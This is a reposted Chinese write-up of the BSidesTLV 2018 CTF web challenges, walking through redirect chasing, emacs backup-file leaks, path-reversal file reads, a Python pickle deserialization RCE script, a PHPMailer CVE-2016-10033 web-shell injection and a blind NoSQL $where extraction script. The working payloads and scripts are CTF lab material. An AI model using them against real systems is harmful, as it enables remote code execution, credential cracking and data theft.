BSidesTLV 2018 CTF WriteUp(附CTF环境)

栏目: Html5 · 发布时间: 6年前

内容简介:BSidesTLV 2018 CTF是2018年6月19日的一次CTF比赛,本来这个WriteUp早就想写了,但是比赛结束没环境复现,直到最近发现官方居然放出了比赛环境。CTF比赛环境下载:

BSidesTLV 2018 CTF WriteUp(附CTF环境)

0×01 前言

BSidesTLV 2018 CTF是2018年6月19日的一次CTF比赛,本来这个WriteUp早就想写了,但是比赛结束没环境复现,直到最近发现官方居然放出了比赛环境。

CTF比赛环境下载:

magnet:?xt=urn:btih:849BC74CE4939E40D244F899D693F55AFB1D2FE7

格式:Virtual Machine (Virtualbox - OVA)
系统:Linux

CTFD用户账户    user:user
CTFD Admin 账户    bsidestlv:bsidestlv
Boot2Docker SSH:    docker:tcuser

0×02 WriteUp

Redirect me

题目地址: http://challenges.bsidestlv.com:8081

BSidesTLV 2018 CTF WriteUp(附CTF环境)

打开地址我们可以发现页面在重定向

BSidesTLV 2018 CTF WriteUp(附CTF环境)

BSidesTLV 2018 CTF WriteUp(附CTF环境)

我们查看响应内容没有发现有价值的线索,只知道它一直在重定向,这时我们注意到18.html,那么flag会不会还在后面呢,我们修改一下。发现果然继续重定向到37.html,最终在40.html发现了线索。

BSidesTLV 2018 CTF WriteUp(附CTF环境)

查看response内容得到FLAG

BSidesTLV 2018 CTF WriteUp(附CTF环境)

IH8emacs

题目地址: http://challenges.bsidestlv.com:8443

打开题目地址我们可以看到非常华丽的网站

BSidesTLV 2018 CTF WriteUp(附CTF环境)

从题目的名称和描述来看,应该是要先寻找emacs创建的备份文件。Emacs,著名的集成开发环境和文本编辑器。当使用emacs编辑文件时,它会在名称的末尾创建一个带有波浪号的备份。

BSidesTLV 2018 CTF WriteUp(附CTF环境)

我们来尝试首页有没有备份文件

http://challenges.bsidestlv.com:8443/index.php~

BSidesTLV 2018 CTF WriteUp(附CTF环境)

我们找到了一段被注释的代码,往下面翻,发现了被注释的管理界面地址。

BSidesTLV 2018 CTF WriteUp(附CTF环境)

http://challenges.bsidestlv.com:8443/administration/

访问该页面,发现需要登录。

BSidesTLV 2018 CTF WriteUp(附CTF环境)

我们可能需要去寻找登录凭证

.htaccess~
.htpasswd~

在.htpasswd~中发现登录凭证

BSidesTLV 2018 CTF WriteUp(附CTF环境)

使用john破解hash

BSidesTLV 2018 CTF WriteUp(附CTF环境)

bsidestlv:performa

复制粘贴破解少了个bs,不影响结果,加上就好了。最终登录得到FLAG

BSidesTLV 2018 CTF WriteUp(附CTF环境)

Creative Agency

题目地址: http://challenges.bsidestlv.com:3333

描述直接给了flag绝对路径

BSidesTLV 2018 CTF WriteUp(附CTF环境)

在浏览网站中我们发现了图像的加载很奇怪

BSidesTLV 2018 CTF WriteUp(附CTF环境)

/img?file=ƃdɾ˙1punoɹƃʞɔɐq/ƃɯı/˙

BSidesTLV 2018 CTF WriteUp(附CTF环境)

加上描述给我们的绝对路径,这应该是一个任意文件读取漏洞,但是我们需要了解file参数的路径规律。

BSidesTLV 2018 CTF WriteUp(附CTF环境)

ƃdɾ˙2ʞɹoʍ/ƃɯı/˙
如果我们倒过来看
./img/work2.jpg

那我们怎么来颠倒路径呢,为此我收集了网站上的url路径。

ƃdɾ˙1punoɹƃʞɔɐq/ƃɯı/˙    //background
ƃdɾ˙1ʇnoqɐ/ƃɯı/˙    //about
ƃdɾ˙1osɹǝd/ƃɯı/˙    //perso
ƃdɾ˙1ɯɐǝʇ/ƃɯı/˙        //team
ƃdɾ˙1ƃoʃq/ƃɯı/˙        //blog
ƃud˙ʇʃɐ-oƃoʃ/ƃɯı    //logo-alt
ƃdɾ˙ʇsod-ƃoʃq/ƃɯı/˙    //blog-post
ƃdɾ˙ɹoɥʇnɐ/ƃɯı/˙    //author

/home/bsidestlv/flag.txt

ʇxʇ˙ƃɐʃɟ/ʌʃʇsǝpısq/ǝɯoɥ/˙˙

这是一件耗费时间的活

BSidesTLV 2018 CTF WriteUp(附CTF环境)

I’m Pickle Rick!

题目地址: http://challenges.bsidestlv.com:8088

访问题目地址

BSidesTLV 2018 CTF WriteUp(附CTF环境)

查看源代码,我们发现一段有趣的脚本

<script>
    var members;

    function pickleRick() {
        $('.pickleimg').fadeIn(1000);
        anatomyParkMembers("morty");
    }

    function anatomyParkMembers(visitor) {
        var url = "/getMembers.html";
        if (visitor) {
            url += "?visitor=" + visitor
        }
        $.get(url, function (data) {
            $(".result").html(data);
            localStorage.setItem("anatomyParkMembers", data);
        });
    }

    function statusAnatomyParkMembers() {
        if (localStorage.getItem("anatomyParkMembers") === null) {
            return false;
        }
        // DEFLATE
        $.getJSON("/statusMembers.html?data=" + localStorage.getItem("anatomyParkMembers"), {
            format: "json"
        }).done(function (data) {
            members = data;
        });
    }
</script>
<script>
    $(document).ready(function () {
        if (localStorage.getItem("anatomyParkMembers") === null) {
            anatomyParkMembers();
        }
        setInterval(function () {
            statusAnatomyParkMembers();
        }, 10000);
    });
</script>

背景视频

<video id="myVideo" autoplay muted style="width: 100%" onended="pickleRick();">
<source src="/static/Untitled.mp4" type="video/mp4">
Your browser does not support the video tag.
</video>

看起来很乱,我们先来理一下网站运行流程:

首先网站运行背景视频,当视频运行结束后执行onended属性的pickleRick()函数

pickleRick()函数继续调用anatomyParkMembers()函数,并传入参数morty

anatomyParkMembers()函数拼接了URL
/getMembers.html?visitor=morty
然后发送了一个GET请求到/getMembers.html?visitor=morty

调用函数statusAnatomyParkMembers()
我们访问/getMembers.html?visitor=morty得到结果
eNrTSCkw5ApWL8sszizJLypW5yow4tLIKTDmCsvNLyqp5Cow4UosDlZPzS3Iya9MTQUpMAUpMANqCipNSs0DCphzJQarO%2BblZaYCORYgTkB%2BXnJGPpBnCeIF5aenFgE5hgZghTk5YF2GhkCT9QDJ4iXE

最终调用statusAnatomyParkMembers()函数后请求如下:

BSidesTLV 2018 CTF WriteUp(附CTF环境)

这样运行流程就很清楚了

访问 /getMembers.html 将变量visitor内容添加到json数组中,以某种方式处理返回了结果。

访问 /statusMembers.html?data= 获取打包数据并解压缩返回json

查看每个步骤数据包头,我们可以发现使用了 gzip, deflate

我们尝试打包命令发送给/statusMembers.html?data=看看会发生什么

import zlib
import requests
import base64

def create_command(cmd, args, flags):
    mould = """csubprocess
check_output
(((S'{0}'
S'{1}'
S'{2}'
ltR."""
    return base64.b64encode(zlib.compress(mould.format(cmd, args, flags), 9))

targeturl = 'http://challenges.bsidestlv.com:8088/statusMembers.html?data={0}&format=json'
r = requests.get(targeturl.format(create_command('ls', '../', '-l')))
print '\n'.join(r.text[1:-1].split('\\n'))

BSidesTLV 2018 CTF WriteUp(附CTF环境)

继续使用cat命令读取一下flag.txt

r = requests.get(targeturl.format(create_command('cat', '../flag.txt', '-A')))

BSidesTLV 2018 CTF WriteUp(附CTF环境)

ContactUs

题目地址: http://challenges.bsidestlv.com:8080

访问题目地址

BSidesTLV 2018 CTF WriteUp(附CTF环境)

通过题目标题可以猜测关键点应该在Contact Us功能处,PHP网站+可能发送邮件的功能

BSidesTLV 2018 CTF WriteUp(附CTF环境)

我们尝试发送邮件

BSidesTLV 2018 CTF WriteUp(附CTF环境)

猜测是CVE-2016-10033,也就是PHPMailer < 5.2.18 远程代码执行漏洞

Name: zusheng
Email: "zusheng\" -oQ/tmp/ -X/var/www/cache/phpcode.php  is"@qq.com
Message: <?php phpinfo(); ?>

返回内容:
You are so close! please change the backdoor location to: /var/www/html/cache/d246b1e461bf.php

BSidesTLV 2018 CTF WriteUp(附CTF环境)

我们来修改一下

Name: zusheng
Email: "zusheng\" -oQ/tmp/ -X/var/www/html/cache/d246b1e461bf.php  is"@qq.com
Message: <?php echo exec('cat $(find / -name flag.txt)'); ?>

提交后我们需要等待一段时间,然后我们就可以访问/cache/d246b1e461bf.php拿到flag

BSidesTLV 2018 CTF WriteUp(附CTF环境)

NoSocket

题目地址: http://challenges.bsidestlv.com:8030/login

打开题目

BSidesTLV 2018 CTF WriteUp(附CTF环境)

查看源代码

<script>
    var ws;
    var url = 'ws://' + location.hostname + ':8000/login';
    function openSocket() {
        ws = new WebSocket(url);
        ws.binaryType = 'arraybuffer'; // default is 'blob'


        ws.onopen = function() {
            console.log('open');
        };

        ws.onclose = function() {
            console.log('close');
        };

        ws.onmessage = function(e) {
            if (e.data instanceof ArrayBuffer) {
                log(decodeCharCode(new Uint8Array(e.data)));
            } else {
                log(e.data);
            }
        };

        ws.onerror = function() {
            log('error');
            closeSocket();
        };
    }

    function closeSocket() {
        log('closing');
        ws.close();
    }

    function login() {
        var data = {};  // <- initialize an object, not an array
        data["username"] = document.getElementById('username').value;
        data["password"] = document.getElementById('password').value;
        val = JSON.stringify(data); // {"username":"admin", "password": "admin"}
        // {"$where": "this.username == '" + username + "' && this.password == '" + password + "'"}
        ws.send(val);
    }


    function decodeCharCode(data) {
        var res = '';
        for (var i = 0, len = data.length; i < len; i++) {
            var value = data[i];
            res += String.fromCharCode(value);
        }

        return res;
    }

    function log(message) {
        alert(message)
    }

    openSocket()
</script>

我们可以看到他的验证方式,使用admin为用户名,我们尝试

admin
' || 1 == '1

BSidesTLV 2018 CTF WriteUp(附CTF环境)

弹出Success!表明成功啦,题目描述提示我们password就是flag,所以我们需要知道password到底是多少而不是绕过验证。

admin
' || this.password[0] == 'B

猜测password第一个字符是不是B

BSidesTLV 2018 CTF WriteUp(附CTF环境)

我们知道所有flag的格式是BSidesTLV{},那么接下来就很简单了

import string
from websocket import create_connection

def datachar(i):
    for char in string.printable:
        password = "' || this.password[%d] == '%s" % (i, char)
        data = "{\"username\":\"admin\", \"password\": \"%s\"}" % password
        ws.send(data)
        response = ws.recv()
        if "Success!" in response:
            return char

ws = create_connection("ws://challenges.bsidestlv.com:8000/login")
response = ""
for i in range(10, 30):
    if datachar(i) is None:
        break
    response += datachar(i)
    print response

print    'Flag: BSidesTLV{' + response
ws.close()

运行结果:

BSidesTLV 2018 CTF WriteUp(附CTF环境)


以上所述就是小编给大家介绍的《BSidesTLV 2018 CTF WriteUp(附CTF环境)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

来吧!带你玩转 Excel VBA

来吧!带你玩转 Excel VBA

罗刚君、杨嘉恺 / 电子工业出版社 / 2013-7 / 85.00元

本书旨在普及Excel VBA 基础理论,以及通过VBA 的高级应用扩展Excel 的功能,提升读者的制表效率,解决工作中的疑难,同时亦可借此开发商业插件。 本书主要分为操作自动化引言篇、入门篇、进阶篇和疑难解答篇,覆盖从入门到提高的所有内容,以满足不同层次的读者需求。其中操作自动化引言篇简述了操作自动化的需求与方式,借此引出VBA 入门篇。VBA 入门篇包含第2 章到第13 章,主要介绍了......一起来看看 《来吧!带你玩转 Excel VBA》 这本书的介绍吧!

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具